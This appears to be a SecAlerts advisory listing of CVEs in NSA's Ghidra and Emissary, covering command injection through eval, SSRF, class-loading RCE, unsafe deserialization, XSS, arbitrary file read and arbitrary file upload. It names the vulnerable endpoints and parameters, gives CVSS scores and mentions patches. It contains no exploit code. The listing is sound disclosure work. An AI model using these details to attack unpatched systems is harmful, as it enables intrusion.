CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Ghidra/RuntimeScripts/Linux/support/launch.sh in NSA Ghidra through 10.2.2 passes user-provided input into eval, leading to command injection when calling analyzeHeadless with untrusted input.

First published (updated )
Severity
9.9
SSRF
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Emissary is a P2P-based, data-driven workflow engine. Emissary version 6.4.0 is vulnerable to Server-Side Request Forgery (SSRF). In particular, the RegisterPeerAction endpoint and the AddChildDirectoryAction endpoint are vulnerable to SSRF. This vulnerability may lead to credential leaks. Emissary version 7.0 contains a patch. As a workaround, disable network access to Emissary from untrusted sources.

First published (updated )
Severity
9.1
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Emissary is a P2P based data-driven workflow engine. Affected versions of Emissary are vulnerable to post-authentication Remote Code Execution (RCE). The CreatePlace REST endpoint accepts an sppClassName parameter which is used to load an arbitrary class. This class is later instantiated using a constructor with the following signature: <constructor>(String, String, String). An attacker may find a gadget (class) in the application classpath that could be used to achieve Remote Code Execution (RCE) or disrupt the application. Even though the chances to find a gadget (class) that allow arbitrary code execution are low, an attacker can still find gadgets that could potentially crash the application or leak sensitive data. As a work around disable network access to Emissary from untrusted sources.

First published (updated )
Severity
7.2
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Emissary is a distributed, peer-to-peer, data-driven workflow framework. Emissary 6.4.0 is vulnerable to Unsafe Deserialization of post-authenticated requests to the WorkSpaceClientEnqueue.action REST endpoint. This issue may lead to post-auth Remote Code Execution. This issue has been patched in version 6.5.0. As a workaround, one can disable network access to Emissary from untrusted sources.

First published (updated )
Severity
6.1
XSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

A Cross-site scripting (XSS) vulnerability in the DocumentAction component of U.S. National Security Agency (NSA) Emissary 5.9.0 allows remote attackers to inject arbitrary web script or HTML via the uuid parameter.

First published (updated )
Severity
6.5
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

The ConfigFileAction component of U.S. National Security Agency (NSA) Emissary 5.9.0 allows an authenticated user to read arbitrary files via the ConfigName parameter.

First published (updated )
Severity
8.8
Malicious File Upload
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

U.S. National Security Agency (NSA) Emissary 5.9.0 allows an authenticated user to upload arbitrary files.

First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203